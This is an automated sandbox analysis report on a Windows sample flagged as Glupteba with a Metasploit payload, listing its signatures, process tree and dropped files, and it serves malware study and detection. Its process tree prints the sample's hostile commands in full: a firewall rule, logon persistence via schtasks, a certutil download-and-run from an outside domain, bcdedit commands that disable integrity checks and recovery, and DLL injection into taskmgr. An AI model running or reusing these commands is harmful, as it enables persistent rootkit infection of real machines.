Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    21-04-2024 05:46

General

  • Target

    fe92e38580b28ee27c28fa00baccfebe_JaffaCakes118.exe

  • Size

    4.4MB

  • MD5

    fe92e38580b28ee27c28fa00baccfebe

  • SHA1

    cae54c3ba0585d169f3f597736b67d01a48a6052

  • SHA256

    be1bc8a13d7ba38715ee4efe364263039bc0b1f3eee419a546ef25f9909f87ba

  • SHA512

    653eb51451d6b8d3aa28de5e5a2cd0a763798bd3731ed2ab2a8f927d994abb400e5d296a79118150d6b8cd08958e278426da60bef1f80d2727b86dec9c5d60a6

  • SSDEEP

    98304:xRaAHezCh355SgtzLNlilTT7MrJ6l/ocvz2xUL:hHezc355SgtwAof

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • GoLang User-Agent 4 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe92e38580b28ee27c28fa00baccfebe_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\fe92e38580b28ee27c28fa00baccfebe_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2956
    • C:\Users\Admin\AppData\Local\Temp\fe92e38580b28ee27c28fa00baccfebe_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\fe92e38580b28ee27c28fa00baccfebe_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Modifies data under HKEY_USERS
          PID:2472
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMon driver.
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2544
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:964
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1748
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2412
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2380
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2880
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2500
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2484
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2524
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2608
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2748
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2444
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1972
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2660
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1836
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1656
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2812
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:1284
        • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2900
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240421054609.log C:\Windows\Logs\CBS\CbsPersist_20240421054609.cab
    1⤵
    • Drops file in Windows directory
    PID:2672

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
    Filesize

    68KB

    MD5

    29f65ba8e88c063813cc50a4ea544e93

    SHA1

    05a7040d5c127e68c25d81cc51271ffb8bef3568

    SHA256

    1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

    SHA512

    e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

  • C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error
    Filesize

    492KB

    MD5

    fafbf2197151d5ce947872a4b0bcbe16

    SHA1

    a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

    SHA256

    feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

    SHA512

    acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

  • C:\Users\Admin\AppData\Local\Temp\Tar628F.tmp
    Filesize

    177KB

    MD5

    435a9ac180383f9fa094131b173a2f7b

    SHA1

    76944ea657a9db94f9a4bef38f88c46ed4166983

    SHA256

    67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

    SHA512

    1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
    Filesize

    94KB

    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
    Filesize

    281KB

    MD5

    d98e33b66343e7c96158444127a117f6

    SHA1

    bb716c5509a2bf345c6c1152f6e3e1452d39d50d

    SHA256

    5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

    SHA512

    705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll
    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\osloader.exe
    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll
    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe
    Filesize

    4.4MB

    MD5

    fe92e38580b28ee27c28fa00baccfebe

    SHA1

    cae54c3ba0585d169f3f597736b67d01a48a6052

    SHA256

    be1bc8a13d7ba38715ee4efe364263039bc0b1f3eee419a546ef25f9909f87ba

    SHA512

    653eb51451d6b8d3aa28de5e5a2cd0a763798bd3731ed2ab2a8f927d994abb400e5d296a79118150d6b8cd08958e278426da60bef1f80d2727b86dec9c5d60a6

  • memory/2376-35-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB

  • memory/2376-43-0x0000000140000000-0x00000001405E8000-memory.dmp
    Filesize

    5.9MB

  • memory/2544-114-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-58-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-106-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-141-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-110-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-140-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-139-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-133-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-131-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-112-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-115-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-111-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-18-0x0000000004A60000-0x0000000004E9C000-memory.dmp
    Filesize

    4.2MB

  • memory/2544-105-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-22-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2544-21-0x0000000004A60000-0x0000000004E9C000-memory.dmp
    Filesize

    4.2MB

  • memory/2544-113-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2744-9-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2744-4-0x0000000004930000-0x0000000004D6C000-memory.dmp
    Filesize

    4.2MB

  • memory/2744-20-0x0000000004930000-0x0000000004D6C000-memory.dmp
    Filesize

    4.2MB

  • memory/2744-8-0x0000000004930000-0x0000000004D6C000-memory.dmp
    Filesize

    4.2MB

  • memory/2744-19-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2956-5-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2956-6-0x0000000004960000-0x0000000004D9C000-memory.dmp
    Filesize

    4.2MB

  • memory/2956-3-0x0000000000400000-0x00000000030F5000-memory.dmp
    Filesize

    45.0MB

  • memory/2956-2-0x0000000004DA0000-0x00000000056C6000-memory.dmp
    Filesize

    9.1MB

  • memory/2956-7-0x0000000004DA0000-0x00000000056C6000-memory.dmp
    Filesize

    9.1MB

  • memory/2956-1-0x0000000004960000-0x0000000004D9C000-memory.dmp
    Filesize

    4.2MB

  • memory/2956-0-0x0000000004960000-0x0000000004D9C000-memory.dmp
    Filesize

    4.2MB